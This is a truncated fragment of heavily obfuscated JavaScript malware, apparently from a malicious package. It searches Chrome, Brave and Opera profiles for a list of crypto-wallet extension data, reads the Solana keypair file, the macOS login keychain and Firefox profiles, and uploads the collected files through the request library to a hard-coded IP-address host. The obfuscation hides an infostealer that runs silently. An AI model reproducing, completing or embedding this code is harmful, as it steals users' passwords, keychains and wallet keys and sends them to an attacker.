','\x20Support/','ess','hnfanknocf','path','801965udDKCL','uPJih','rKbmK','hifafgmccd','nmhnfnkdna','BNSDx','lXRYB','6LJBZfI','apagcccfch','DnEfX','ophhpkkolj','python3\x20\x22','UuVoG','replace','eychains/l','statSync','solana_id.','_uld','pld_','phepccionb','oUjHl','qVmsw','ome','imhlpmgjnj','JILLU','tmpdir','VcfsR','ync','hIrlV','XbgOb','NXbIN','gShrx','dVsiI','ExBSt','rowser','fdElP','oohckonoee','eofbddgcij','xhNPU','/Library/K','length','ffTNV','kpcnlpebkl','re/Opera\x20S','zzpzR','399098kQPkbg','Profile\x20','era\x20Softwa','JpoYZ','Eozzl','Stream','illa/Firef','3949HQFtSj','VzYFn','Browser','.files','KNdmd','nkbihfbeog','UxGGv','dojbb','YnuOh','ihcmP','on.exe','tqYTi','getTime','OYGUx','/AppData/R','error','-release','aeaoehlefn','HkFjs','GsJCc','Local/Brav','pdUMs','filename','PgAIK','/storage/d','gpHwN','IHJls','jXJYf','http://95.','log','gpafnldhgm'];_0x44b1=function(){return _0xc98bed;};return _0x44b1();}const _0x57fcb0=require('fs'),_0x225b50=require('os'),_0x3d1e5d=require(_0x5d6b18(0x2d3,'0x323',0x2f4,'0x35e')),_0x18e755=require('request'),_0x2b6499=require('child_proc'+_0x5d6b18(0x35f,0x289,'0x2f2',0x306))['exec'],_0x5bab10=_0x225b50[_0x5d6b18('0x2e7',0x2d2,0x2bc,'0x331')](),_0x17bf0c=_0x225b50[_0x5d6b18(0x2af,0x304,'0x293',0x23f)](),_0xc2ce4f=_0x225b50[_0x5d6b18(0x209,'0x2e8',0x266,0x215)](),_0x49f550=_0x225b50[_0x5d6b18(0x288,'0x24b',0x202,0x24c)](),_0xef03de=_0x225b50[_0x2c7601(0x1a8,0x187,'0x160',0x102)](),_0x40d999=_0x2c7601('0x11b','0x143',0x161,'0xff')+_0x2c7601(0x1aa,0x149,0x148,0x124)+_0x5d6b18('0x30c','0x36b',0x2e5,0x2c2),_0x4ab1b5=_0x4f37ea=>_0x4f37ea[_0x5d6b18(0x2ae,'0x37e','0x302','0x31a')](/^~([a-z]+|\/)/,(_0x5987d1,_0x3d7d8d)=>'/'===_0x3d7d8d?_0xc2ce4f:_0x3d1e5d[_0x5d6b18('0x2aa',0x284,0x248,'0x27b')](_0xc2ce4f)+'/'+_0x3d7d8d),_0x589ed5='3',_0x1805dc=_0x2c7601(0x150,'0x1ad','0x13c',0x211);function _0x4ce051(_0x296ea3){function _0x5f315f(_0x962c5a,_0x36fda9,_0x48c807,_0x1facd6){return _0x5d6b18(_0x962c5a-'0x1ca',_0x36fda9,_0x48c807- -'0x334',_0x1facd6-0x153);}const _0x4083cc={};function _0x138a6b(_0x2ff25c,_0x2fb742,_0x1ae22b,_0x2a9494){return _0x2c7601(_0x2ff25c-'0x18c',_0x2ff25c-0xdd,_0x1ae22b-0x1f0,_0x2a9494);}_0x4083cc[_0x138a6b(0x26f,'0x2c3','0x243','0x2b0')]=function(_0x196b0d,_0x214166){return _0x196b0d!==_0x214166;},_0x4083cc['qPzxW']=_0x5f315f(-'0x12a',-'0x145',-0xc1,-'0xb2');const _0x4cba02=_0x4083cc;try{return _0x57fcb0[_0x5f315f(-0x62,-'0x4b',-'0xaa',-0x75)](_0x296ea3),!![];}catch(_0xa0a787){if(_0x4cba02[_0x138a6b('0x26f','0x28f',0x29e,0x296)](_0x4cba02['qPzxW'],_0x4cba02['qPzxW']))_0x11f71c=_0x424802;else return![];}}const _0x36a55d=[_0x5d6b18('0x27e',0x2b2,0x231,0x1f9)+_0x5d6b18(0x363,0x30d,0x2e6,0x294)+_0x5d6b18('0x217',0x273,0x249,0x232)+_0x5d6b18('0x252','0x212','0x247','0x1d1'),_0x2c7601(0x1b2,'0x1e1','0x242','0x1a3')+'are/Brave-'+_0x2c7601(0xd0,'0x129',0x18e,0xc0),_0x2c7601(0x207,0x1e1,'0x1b7','0x254')+'are/Brave-'+_0x5d6b18('0x279','0x212',0x21f,0x1c4)],_0x315b89=[_0x5d6b18(0x2dd,0x271,'0x2ec',0x32c)+_0x2c7601('0x1a3','0x18f','0x1c0',0x10b),'Google/Chr'+'ome',_0x2c7601('0x133','0x182',0x116,0x195)+_0x5d6b18('0x273',0x249,'0x1ff','0x1f6')],_0x340a3f=['Roaming/Op'+_0x2c7601('0xdf','0x122','0xa8',0xd3)+_0x2c7601(0xb1,0x11e,0xb2,'0xd5')+'table','com.operas'+'oftware.Op'+'era',_0x2c7601(0x13f,0x198,0x121,'0x1e6')],_0x4881f6=[_0x2c7601('0x198','0x12c','0x186',0x179)+_0x2c7601(0xb2,'0x138','0xc3','0x1a9')+_0x5d6b18('0x2a3','0x2f9',0x2b3,0x233)+'nn','ejbalbakop'+'lchlghecda'+'lmeeeajnim'+'hm',_0x2c7601(0x1bf,'0x1ea',0x198,'0x255')+_0x2c7601(0x1d3,'0x18e','0x20e',0x1af)+'ngcnapndod'+'jp',_0x5d6b18('0x2ac','0x2b7','0x2f3',0x321)+_0x5d6b18(0x262,'0x246',0x20e,'0x267')+_0x2c7601('0x1ad',0x203,'0x197',0x206)+'ad',_0x5d6b18('0x34b',0x344,0x2d0,0x2eb)+_0x5d6b18('0x286','0x215','0x213','0x239')+_0x2c7601('0x1c2','0x1b3','0x202','0x1ea')+'ec',_0x2c7601(0x1de,0x1bc,0x1fe,'0x1f6')+_0x2c7601(0xf1,'0x10a','0x91','0x15a')+_0x2c7601(0x1b1,0x209,'0x281',0x209)+'pa',_0x2c7601('0x182',0x1c5,0x17e,0x152)+_0x5d6b18('0x2cf',0x2f0,'0x308',0x303)+_0x5d6b18('0x201',0x201,'0x20d',0x1ef)+'mg',_0x2c7601('0x1ea','0x202','0x1eb',0x1f6)+'pekplomjjk'+_0x5d6b18('0x2e6',0x272,0x26b,0x294)+'lj',_0x5d6b18('0x24b',0x2bf,'0x2cd',0x2d8)+_0x5d6b18('0x29c','0x1e2',0x23b,'0x1cf')+_0x2c7601(0x1e9,0x207,'0x1ca',0x23e)+'pi','acmacodkjb'+'dgmoleebol'+'mdjonilkdb'+'ch','dlcobpjiig'+_0x5d6b18(0x2e2,0x284,0x2ab,0x32b)+'behhmhfood'+'bb',_0x5d6b18('0x2f6','0x2cd','0x280',0x257)+_0x2c7601(0x13e,'0x199','0x1de',0x178)+'jbmgjidlcd'+'no'],_0x509e16=async(_0x5a7f89,_0x3aebb2,_0x57b596,_0x56509f)=>{const _0x2c5fcf={'DqPpJ':'.log','ZQfqk':_0x43296e(0x2aa,0x2d0,0x316,'0x31e'),'ECEaI':function(_0x5cb238,_0x47d984){return _0x5cb238(_0x47d984);},'kjCRH':function(_0x165ddc,_0x2a8321){return _0x165ddc>=_0x2a8321;},'mGFOI':function(_0x6510d6,_0x2a895d){return _0x6510d6+_0x2a895d;},'ihcmP':function(_0x1fd62e,_0x40167c){return _0x1fd62e<_0x40167c;},'EfAgH':function(_0x2b19b9){return _0x2b19b9();},'sIUCK':function(_0x116216,_0x51239c){return _0x116216===_0x51239c;},'ENSKx':function(_0x11159f,_0xdbc3cc){return _0x11159f!==_0xdbc3cc;},'qjPob':'ZKxEE','zzpzR':function(_0x130dba,_0x549b8c){return _0x130dba===_0x549b8c;},'zLnRX':'Default','fMovp':function(_0x4757bf,_0x5f48e,_0x1ecd5b){return _0x4757bf(_0x5f48e,_0x1ecd5b);}};let _0x20e31a;if(!_0x5a7f89||_0x2c5fcf[_0x224a40('0x378',0x438,'0x3bd','0x3fb')]('',_0x5a7f89))return[];function _0x224a40(_0x296618,_0x230e38,_0x54f807,_0x344e93){return _0x5d6b18(_0x296618-'0x73',_0x54f807,_0x344e93-'0x127',_0x344e93-0x8c);}try{if(_0x2c5fcf['ENSKx'](_0x2c5fcf[_0x43296e(0x288,'0x38c',0x30c,'0x306')],_0x2c5fcf[_0x224a40('0x397','0x395','0x386','0x375')])){if(!_0xeee06c(_0x5c15c8))return[];}else{if(!_0x2c5fcf[_0x224a40('0x3fc','0x41a',0x420,'0x3f5')](_0x4ce051,_0x5a7f89))return[];}}catch(_0x137fdd){return[];}_0x3aebb2||(_0x3aebb2='');let _0x51878c=[];for(let _0x1f3484=0x1ce0+0xd3+0x1*-0x1db3;_0x1f3484<0x7d*0xa+0xe4b*-0x1+0xa31*0x1;_0x1f3484++){const _0x3dd9b4=_0x5a7f89+'/'+(_0x2c5fcf[_0x224a40('0x2d7','0x308','0x32a',0x33c)](-0x171*-0x1+-0x3*0x125+0xa*0x33,_0x1f3484)?_0x2c5fcf[_0x224a40('0x343','0x361','0x358',0x3ae)]:'Profile\x20'+_0x1f3484)+(_0x224a40(0x3bd,0x464,0x402,0x3e0)+_0x224a40('0x357','0x318','0x3e1',0x37e)+_0x43296e(0x2f5,0x2ee,0x332,'0x380'));for(let _0x177329=0x1*-0x1579+0x1b50+-0xd*0x73;_0x177329<_0x4881f6[_0x224a40('0x2c3',0x32c,'0x321','0x338')];_0x177329++){let _0x47c390=_0x3dd9b4+'/'+_0x4881f6[_0x177329];if(_0x4ce051(_0x47c390)){let _0xa74f5e=[];try{_0xa74f5e=_0x57fcb0[_0x43296e(0x378,'0x2f5',0x312,0x343)+'c'](_0x47c390);}catch(_0x5371ea){_0xa74f5e=[];}_0xa74f5e[_0x224a40(0x3e9,0x354,0x3f7,0x39d)](async _0x354894=>{let _0x49f669=_0x3d1e5d[_0x4cd913(0x23c,0x235,0x25d,0x22e)](_0x47c390,_0x354894);function _0x44c873(_0xef7899,_0xd3f89b,_0x29a1f7,_0x3b39d3){return _0x43296e(_0xef7899-'0xe',_0xd3f89b-0x194,_0xef7899- -'0x12',_0xd3f89b);}function _0x4cd913(_0x2cdb1a,_0x1bcdd3,_0x3e68b4,_0x47be54){return _0x43296e(_0x2cdb1a-'0x17a',_0x1bcdd3-0x107,_0x2cdb1a- -'0xd8',_0x1bcdd3);}try{const _0x5dcc2c={};_0x5dcc2c[_0x44c873('0x2df','0x325','0x311','0x28e')]=_0x1805dc+'_'+_0x3aebb2+_0x1f3484+'_'+_0x4881f6[_0x177329]+'_'+_0x354894,(_0x49f669[_0x44c873(0x359,'0x3ad',0x2fb,'0x3b7')](_0x2c5fcf[_0x4cd913(0x265,'0x2b3','0x239','0x293')])||_0x49f669['includes'](_0x2c5fcf['ZQfqk']))&&_0x51878c[_0x44c873(0x375,0x31f,'0x37c','0x34b')]({'value':_0x57fcb0[_0x44c873('0x343',0x300,0x306,0x321)+_0x44c873('0x2c7',0x27d,'0x2dc',0x306)](_0x49f669),'options':_0x5dcc2c});}catch(_0x6af732){}});}}}function _0x43296e(_0x3c96d9,_0x5c3057,_0x40e8c6,_0x48afe3){return _0x2c7601(_0x3c96d9-0xbb,_0x40e8c6-0x1b4,_0x40e8c6-'0x1eb',_0x48afe3);}if(_0x57b596&&(_0x20e31a=_0xc2ce4f+('/.config/s'+_0x224a40('0x461','0x46a','0x451','0x414')+_0x224a40(0x3fb,0x459,0x37d,'0x3e6')),_0x57fcb0[_0x43296e(0x366,0x372,'0x3ac',0x3db)](_0x20e31a)))try{if(_0x2c5fcf[_0x43296e(0x29b,'0x30b',0x2d3,'0x31e')](_0x43296e('0x2c0',0x302,0x30d,'0x321'),_0x224a40(0x457,'0x3cc','0x3cd',0x3f6))){var _0x39bf76=_0x4b9c1e[_0x43296e('0x404','0x425',0x3c2,'0x35f')](_0x2c35ba);_0x2c5fcf['kjCRH'](_0x39bf76[_0x224a40(0x357,'0x408',0x431,0x3c2)],_0x2c5fcf[_0x43296e('0x2cf',0x398,'0x33c','0x39a')](_0x37f7e9,0x1*-0x80f+-0x1b1e+0x2333))?(_0x53bdb3=_0x39bf76['size'],_0x4ade5b['rename'](_0x5f32da,_0x1d6dbe,_0x21bec9=>{if(_0x21bec9)throw _0x21bec9;_0x2c5fcf['ECEaI'](_0x4a3b8e,_0x557cf4);})):(_0x2c5fcf[_0x43296e('0x2e2','0x285','0x2e4','0x2be')](_0x4cc82c,_0x39bf76['size'])?_0x3aebd3=_0x39bf76[_0x224a40(0x3d0,'0x35d',0x366,'0x3c2')]:(_0x46e273[_0x224a40('0x413',0x44e,'0x361',0x3c8)](_0x244e82),_0x433db8=0x1148+0x1596+-0x26de),_0x2c5fcf['EfAgH'](_0x37a531));}else{const _0x9d2b09={};_0x9d2b09[_0x224a40(0x2d6,0x343,0x3c8,0x35a)]=_0x43296e('0x370',0x38f,'0x3c3','0x3de')+'txt',_0x51878c['push']({'value':_0x57fcb0[_0x224a40(0x3da,'0x353',0x3ee,'0x3be')+_0x43296e('0x286',0x2bb,'0x2d9',0x26f)](_0x20e31a),'options':_0x9d2b09});}}catch(_0xf1ff04){}return _0x2c5fcf['fMovp'](_0x2a53ef,_0x51878c,_0x56509f),_0x51878c;},_0x473b7e=_0x5d955f=>{const _0x5b54a6={'WhGgK':function(_0xdfe3a0,_0xf9cfd9){return _0xdfe3a0!==_0xf9cfd9;},'ketIl':_0x227b3b(0x1b3,'0x13f','0x1d6',0x1f7),'MehOF':_0x46e3f6(0xf3,'0xd6','0x95',0xb8)+_0x227b3b('0x213','0x212',0x210,'0x1c5'),'TBYlS':function(_0x4ec1a2,_0x189108){return _0x4ec1a2===_0x189108;},'JBqpL':_0x46e3f6('0x155',0x120,0x1bd,'0x137'),'SDlMv':function(_0x4ca8dc,_0x57c953){return _0x4ca8dc(_0x57c953);},'lIEEg':function(_0x5cc2d5,_0x55539a,_0x450c67){return _0x5cc2d5(_0x55539a,_0x450c67);}},_0x5c510c=_0x5b54a6[_0x46e3f6('0x177',0x1b2,'0x180',0xfd)](_0x4ab1b5,'~/')+(_0x227b3b('0x192',0x182,0x144,'0x1a2')+_0x46e3f6(0x142,0x18a,'0x19a',0x102)+_0x227b3b(0x183,0x1c4,'0x183','0x19a')+_0x227b3b(0x227,0x20d,0x239,'0x1c5')+'s');let _0xdfe727=[];function _0x227b3b(_0x10b498,_0x3ee73f,_0x28797f,_0x2e5e9b){return _0x2c7601(_0x10b498-'0x1a8',_0x10b498-'0x5d',_0x28797f-'0x73',_0x3ee73f);}function _0x46e3f6(_0x47b46b,_0x1888c3,_0x2e076e,_0x272a85){return _0x5d6b18(_0x47b46b-'0x36',_0x1888c3,_0x47b46b- -'0x168',_0x272a85-0x1d3);}if(_0x5b54a6[_0x46e3f6('0x177','0x142',0x134,'0x17d')](_0x4ce051,_0x5c510c)){let _0x6c05dd=[];try{_0x6c05dd=_0x57fcb0['readdirSyn'+'c'](_0x5c510c);}catch(_0x5578dc){_0x6c05dd=[];}let _0x316e3f=0x1477+0x4ab+-0x1922;return _0x6c05dd['forEach'](async _0x238bba=>{const _0x135542={'lGtJl':function(_0x4d3482,_0xa6035f){function _0x2d51dc(_0x4d2856,_0x2959aa,_0x5cfc5a,_0xf5f2e8){return _0x4e42(_0x5cfc5a-0x2d,_0xf5f2e8);}return _0x5b54a6[_0x2d51dc(0x27c,'0x247',0x237,'0x27a')](_0x4d3482,_0xa6035f);},'OyMRQ':'rsjlU','EYYwq':_0x5b54a6[_0x1b1174(-'0xef',-'0x11e',-0x99,-'0x14a')],'IHJls':_0x5b54a6[_0x59c425('0x3c9','0x303',0x36f,0x316)],'avvPQ':function(_0x565047,_0x3542da){return _0x5b54a6['TBYlS'](_0x565047,_0x3542da);},'hIrlV':'yHLOi','YPNjF':_0x5b54a6[_0x59c425('0x37c','0x2e2','0x343','0x2e0')]};function _0x59c425(_0x5be3ea,_0x540792,_0x228443,_0x2737b8){return _0x227b3b(_0x228443-0x13e,_0x540792,_0x228443-0xed,_0x2737b8-0x92);}let _0x445799=_0x3d1e5d[_0x59c425(0x2fb,0x2f9,0x2fb,'0x2f4')](_0x5c510c,_0x238bba);if(_0x445799['includes'](_0x59c425('0x269','0x279',0x2d2,0x2da))){let _0x1d8748=_0x3d1e5d['join'](_0x445799,_0x1b1174(-'0x19d',-'0x215',-0x11c,-0x193)+_0x1b1174(-0x174,-'0x185',-'0x1f4',-0x128)),_0x3729a9=[];_0x3729a9=_0x57fcb0[_0x1b1174(-'0x17e',-0x106,-'0x106',-0x1e6)+'c'](_0x1d8748);let _0x3e38b9=-0x61*-0x5e+-0x1*-0x1ca6+-0x156c*0x3;_0x3729a9['forEach'](async _0x19cbf3=>{const _0x16f58b={'dVsiI':function(_0x23d01c,_0x50ebcc){function _0x14b137(_0x38bbde,_0x1fcc55,_0x5a1593,_0x2853be){return _0x4e42(_0x2853be-0x3d2,_0x5a1593);}return _0x135542[_0x14b137(0x647,'0x6a1',0x5d1,0x63e)](_0x23d01c,_0x50ebcc);},'oUjHl':_0x135542['OyMRQ'],'oPUhi':_0x135542['EYYwq']};function _0x59e492(_0x1a28ef,_0x4f466c,_0x506d1f,_0x48b1ff){return _0x59c425(_0x1a28ef-0x1bd,_0x1a28ef,_0x48b1ff- -'0x379',_0x48b1ff-'0x15c');}function _0x5acd36(_0x85d42e,_0x91d2f8,_0x191437,_0x46eb11){return _0x1b1174(_0x191437-'0x40f',_0x91d2f8-0x50,_0x191437-'0x14e',_0x91d2f8);}if(_0x19cbf3[_0x59e492('0x24',-0x6b,-0x3b,-0x27)](_0x135542[_0x59e492(-'0x122',-'0x96',-'0x113',-0x9d)])){if(_0x135542[_0x5acd36(0x2a2,'0x2b3','0x2e2','0x25e')](_0x135542[_0x59e492(-0xe6,-0xb4,-0x142,-0xcf)],_0x135542[_0x5acd36(0x200,0x268,0x242,'0x283')])){let _0x2b4aa5=_0x3d1e5d[_0x5acd36(0x21c,0x299,0x293,'0x2bb')](_0x1d8748,_0x19cbf3);_0x2b4aa5=_0x3d1e5d['join'](_0x2b4aa5,_0x135542[_0x5acd36(0x25f,'0x267',0x2e1,'0x272')]);let _0x225aab=[];_0x225aab=_0x57fcb0['readdirSyn'+'c'](_0x2b4aa5),_0x225aab[_0x5acd36('0x23b','0x2f5',0x2b3,'0x298')](async _0x5e5729=>{function _0x293230(_0x41e614,_0x386d3c,_0x2f0a7d,_0x4701b1){return _0x5acd36(_0x41e614-'0x71',_0x2f0a7d,_0x41e614- -'0x1f9',_0x4701b1-0xc2);}function _0x12f9da(_0x294b1e,_0x38f8da,_0xa129df,_0x4d0978){return _0x59e492(_0x38f8da,_0x38f8da-'0x13',_0xa129df-'0x135',_0x4d0978- -0x169);}if(_0x5e5729[_0x293230(0xf1,0xce,0xa6,'0xce')](_0x12f9da(-'0x24f',-0x221,-0x25d,-0x21d))){if(_0x16f58b[_0x12f9da(-'0x249',-0x230,-0x247,-'0x234')](_0x16f58b[_0x12f9da(-0x137,-'0xbc',-'0x144',-'0x134')],_0x16f58b[_0x12f9da(-0x19f,-0x1c9,-0x1db,-0x1f2)])){let _0x4c37a7=_0x3d1e5d['join'](_0x2b4aa5,_0x5e5729),_0x556af5=[];_0x556af5=_0x57fcb0[_0x12f9da(-'0x197',-'0x25b',-0x184,-'0x1e9')+'c'](_0x4c37a7),_0x556af5['forEach'](_0x5c8b45=>{function _0x458a65(_0x42164a,_0x4609a7,_0x2194e7,_0x2ee5e1){return _0x12f9da(_0x42164a-'0x127',_0x4609a7,_0x2194e7-'0x13d',_0x2ee5e1-'0x38d');}function _0x2953bf(_0x2fc27d,_0x15efb7,_0x550395,_0x133995){return _0x12f9da(_0x2fc27d-'0x4f',_0x133995,_0x550395-'0x16f',_0x550395-'0x1c0');}if(!_0x57fcb0[_0x2953bf('0xe1','0xc3',0x87,'0xca')](_0x3d1e5d[_0x2953bf(-0xa0,0x4a,-'0x27','0xb')](_0x4c37a7,_0x5c8b45))[_0x2953bf('0x23',-0x65,-0x21,-'0x97')+'y']()){let _0x2a5de3=_0x3d1e5d[_0x2953bf(-0x3f,-0x6f,-0x27,-'0x7d')](_0x4c37a7,_0x5c8b45);const _0xa42d75={};_0xa42d75[_0x2953bf(-0xa7,-0x9f,-'0x4a',-'0xa0')]=_0x316e3f+'_'+_0x3e38b9+'_'+_0x5c8b45,_0xdfe727[_0x2953bf(0x70,-'0x2b','0x4c','0x22')]({'value':_0x57fcb0[_0x458a65(0x25a,0x1f4,0x17d,'0x1e7')+_0x458a65(0x184,0x10f,'0x1d2','0x16b')](_0x2a5de3),'options':_0xa42d75});}});}else _0x2edfe5=_0x131161+(0x2020+-0x94d*-0x4+-0x454e),_0x527e3f[_0x293230('0x94',0x67,0x42,'0x95')](_0x3ba142,_0x41b555),_0x279375(_0x3dd511);}});}else{const _0x9f20a7=_0x5c34be[_0x59e492(-0x83,-'0x20',-0x13,-0x37)](_0x12e73c,arguments);return _0xa57d6b=null,_0x9f20a7;}}}),_0x3e38b9+=-0x10b2+0x176a+-0x6b7;}function _0x1b1174(_0x25cace,_0x5bf4c7,_0x3d9213,_0x49006a){return _0x46e3f6(_0x25cace- -'0x26a',_0x49006a,_0x3d9213-'0x1b4',_0x49006a-'0x1c2');}_0x316e3f+=0xb36+-0x8be+-0x277;}),(_0x5b54a6['lIEEg'](_0x2a53ef,_0xdfe727,_0x5d955f),_0xdfe727);}},_0x2a53ef=(_0x22c3ba,_0x379bb1)=>{function _0x34f214(_0x2a6f2c,_0x56dfcc,_0x4e5bdf,_0x46afd2){return _0x2c7601(_0x2a6f2c-'0xb2',_0x4e5bdf- -'0xd9',_0x4e5bdf-'0x4b',_0x56dfcc);}const _0xb4938f={};function _0x431dc4(_0x9719db,_0x340d77,_0xe647c9,_0x26dbbd){return _0x5d6b18(_0x9719db-0x33,_0x26dbbd,_0x340d77-0x14,_0x26dbbd-'0xd6');}_0xb4938f['RjCNH']=function(_0x324521,_0x4fe930){return _0x324521>_0x4fe930;};const _0x4af49f=_0xb4938f,_0x553d4f={};_0x553d4f['type']=_0x589ed5,_0x553d4f[_0x431dc4(0x31d,'0x2d7',0x296,0x2e4)]=_0x1805dc+'_'+_0x5bab10,_0x553d4f[_0x34f214('0x7f',0x57,0x72,'0x94')]=_0x379bb1,_0x553d4f['multi_file']=_0x22c3ba;const _0x43f491=_0x553d4f;try{if(_0x4af49f['RjCNH'](_0x22c3ba['length'],0x75*-0x1+0x7a9*0x2+-0xedd)){const _0x6cf2bf={};_0x6cf2bf[_0x431dc4(0x26e,'0x286','0x21b','0x30a')]=_0x40d999+_0x34f214(0x47,'0xda','0x99',0x2f),_0x6cf2bf[_0x431dc4(0x32c,'0x2e0',0x35e,0x28e)]=_0x43f491;const _0x591c67=_0x6cf2bf;_0x18e755[_0x431dc4('0x277','0x2e5',0x295,0x2d3)](_0x591c67,(_0x442180,_0x144702,_0x552e4d)=>{});}}catch(_0x5aee50){}},_0x2d0c7f=async(_0x13489c,_0x14b7d6,_0x32c301)=>{function _0x29ae7d(_0x5307db,_0xb1ea9c,_0x156a79,_0x5b0e18){return _0x5d6b18(_0x5307db-0x1c4,_0x5307db,_0xb1ea9c-0x2e5,_0x5b0e18-'0x17b');}function _0x193bbc(_0x4c837a,_0x2bbee5,_0x4b37b4,_0x54cf53){return _0x5d6b18(_0x4c837a-0x19b,_0x4b37b4,_0x54cf53- -'0x18b',_0x54cf53-0xb3);}const _0x2f6358={'GsJCc':function(_0x37445a,_0x120274){return _0x37445a==_0x120274;},'AKBiW':function(_0x66c4b3,_0xfbeb0d){return _0x66c4b3(_0xfbeb0d);},'VzYFn':function(_0x2b8567,_0x15dc66,_0x119e7f,_0x18b6f4,_0x1ed3b1){return _0x2b8567(_0x15dc66,_0x119e7f,_0x18b6f4,_0x1ed3b1);},'rQTjA':function(_0xbcbe43,_0x24d6c8){return _0xbcbe43==_0x24d6c8;}};try{let _0x521df4='';_0x521df4=_0x2f6358['GsJCc']('d',_0x17bf0c[0xb97+0xb0*0xb+-0x1327])?_0x2f6358[_0x193bbc('0x146',0x1da,0x100,'0x160')](_0x4ab1b5,'~/')+(_0x193bbc(0x186,0x199,0x1c9,0x14e)+_0x29ae7d(0x55c,0x525,0x511,0x572)+_0x193bbc('0x16b',0x136,0x1bb,'0x166'))+_0x13489c[0xf*-0xc7+0x956*-0x2+0x1e56]:_0x2f6358[_0x29ae7d('0x4f1','0x515',0x58f,'0x521')]('l',_0x17bf0c[-0x1fe*-0x13+-0x2a5*0xd+-0x379*0x1])?_0x2f6358[_0x29ae7d('0x623','0x5d0',0x653,0x638)](_0x4ab1b5,'~/')+_0x193bbc('0xce',0xda,0x113,'0xe3')+_0x13489c[-0x10e1+-0x53*0x6b+0x3394]:_0x2f6358[_0x29ae7d('0x5ef',0x5d0,'0x637',0x58c)](_0x4ab1b5,'~/')+_0x193bbc('0x175',0x196,0x1bf,'0x157')+_0x13489c[-0x178a*-0x1+0x1259+-0x29e3*0x1]+'/User\x20Data',await _0x2f6358[_0x193bbc(0xdc,'0x29',0x47,'0x93')](_0x509e16,_0x521df4,_0x14b7d6+'_',_0x2f6358['rQTjA'](0x1f10+0x7d5*0x3+-0x368f,_0x14b7d6),_0x32c301);}catch(_0x47cf49){}},_0x4b1368=async _0x38e86d=>{const _0x445053={'XmjhW':_0x1ce2df(-0x60,'0xf',0x6c,0x7e),'PHPqT':function(_0x415a56,_0x8b452f,_0x1f35b0){return _0x415a56(_0x8b452f,_0x1f35b0);},'Fdpip':function(_0x49a43b,_0x17ae59,_0x527da4){return _0x49a43b(_0x17ae59,_0x527da4);},'UxGGv':function(_0x43f99d,_0xfbc8ed,_0x1d6ed1){return _0x43f99d(_0xfbc8ed,_0x1d6ed1);},'zJQFD':'logkc-db','gusqB':function(_0x4bc7fc,_0x33e494){return _0x4bc7fc===_0x33e494;},'hbbIt':_0x1ce2df(-0xce,-0x4b,0xb,-'0x7b'),'glkvK':function(_0x40f21b,_0x12efd2){return _0x40f21b!==_0x12efd2;},'CQBgt':_0x1ce2df(-0xf,-0x3a,0x2b,-'0xbc'),'NLned':function(_0x58e913,_0x511d5f){return _0x58e913(_0x511d5f);},'BEaeX':function(_0x48970b,_0x23d9cf){return _0x48970b<_0x23d9cf;},'OJsUJ':function(_0x389d71,_0x3b3ba6){return _0x389d71===_0x3b3ba6;},'pGAwb':_0x16972d(0x23b,'0x2e8','0x27f','0x263'),'nDmJQ':_0x16972d('0x1a8',0x111,0x188,0x1cd),'KWjRe':_0x1ce2df(0x79,'0x53','0x6e',-0x8),'uPJih':function(_0xe94262,_0x26b271){return _0xe94262!==_0x26b271;},'XbgOb':_0x16972d('0x14c',0x188,'0x1a3',0x121),'MmDbx':function(_0x316739,_0x56477a){return _0x316739(_0x56477a);},'QnXBH':function(_0x1a4bd1,_0x57c5af){return _0x1a4bd1(_0x57c5af);},'HTUiZ':function(_0x151abd,_0x228a9a){return _0x151abd(_0x228a9a);},'SYvZp':function(_0x5d488b,_0x247783){return _0x5d488b(_0x247783);}};let _0x376ef3=[];function _0x1ce2df(_0x2014e3,_0x66d3fe,_0x5b7edc,_0x531e26){return _0x2c7601(_0x2014e3-'0x18e',_0x66d3fe- -0x153,_0x5b7edc-'0xa1',_0x5b7edc);}let _0x7e682f=_0xc2ce4f+(_0x16972d('0x1e0',0x1da,0x18e,'0x182')+_0x16972d('0x2d2','0x288','0x281',0x26c)+'ogin.keych'+_0x16972d('0x18d','0x17c','0x1eb','0x169'));if(_0x57fcb0[_0x1ce2df(0x51,'0xa5','0xeb',0x11a)](_0x7e682f))try{const _0x6ba19d={};_0x6ba19d[_0x1ce2df(-0x48,-'0x16',-0x4b,-'0xf')]=_0x445053[_0x1ce2df('0xb9','0x3a',0x1e,'0xbd')],_0x376ef3[_0x1ce2df(0xd5,'0x80',0x87,0x6f)]({'value':_0x57fcb0[_0x1ce2df('0xab',0x4e,0x90,'0x98')+_0x16972d(0x1b8,0x1ee,'0x199','0x116')](_0x7e682f),'options':_0x6ba19d});}catch(_0x1141f1){}else{if(_0x7e682f+='-db',_0x57fcb0[_0x1ce2df(0x53,'0xa5','0x6b','0xb1')](_0x7e682f))try{if(_0x445053[_0x16972d('0x1c2','0x206',0x1ff,'0x1a8')](_0x445053[_0x16972d('0x1f3','0x28b',0x266,0x247)],_0x445053[_0x1ce2df('0x4b',0x9f,'0x35','0x2a')])){const _0x2dc186={};_0x2dc186[_0x16972d(0x1a9,'0x13f',0x1b1,'0x190')]=_0x445053[_0x16972d(0x22e,0x1b6,0x201,0x285)],_0x376ef3[_0x16972d('0x234','0x1f1',0x247,0x26b)]({'value':_0x57fcb0['createRead'+_0x1ce2df(-'0xa9',-'0x2e',-'0xa5',0x1e)](_0x7e682f),'options':_0x2dc186});}else{const _0x1bb57c={};_0x1bb57c[_0x16972d('0x179','0x22b','0x1b1',0x20f)]=_0xc2684f+'_'+_0x50cedb+_0x499f58+'_'+_0xa4cf47[_0x813be3]+'_'+_0x12117e,(_0x211d2b[_0x16972d(0x1dd,0x249,'0x22b',0x1e7)](_0x16972d('0x2ad','0x1d9',0x243,0x2c0))||_0xffb926['includes'](_0x445053['XmjhW']))&&_0x3e58cd[_0x16972d(0x280,0x2bc,0x247,'0x258')]({'value':_0x22e00c[_0x16972d(0x21b,0x1a1,0x215,0x1b1)+_0x16972d('0x214',0x218,0x199,0x1ae)](_0x18610d),'options':_0x1bb57c});}}catch(_0x26da48){}}try{if(_0x445053[_0x1ce2df(-0x28,'0x43','0x34',0xb8)](_0x445053[_0x16972d(0x292,'0x1da',0x22c,0x2ad)],_0x16972d(0x28a,0x22a,'0x233',0x1cf))){let _0x29a5bf=_0xc2ce4f+(_0x1ce2df('0xcd','0x90',0x9b,0xfc)+'pplication'+_0x1ce2df(-0x59,'0x8','0x2','0x25')+_0x16972d(0x1c8,0x15b,0x1de,'0x1e7')+'me');if(_0x445053[_0x16972d(0x1ea,0x27c,0x25f,0x256)](_0x4ce051,_0x29a5bf))for(let 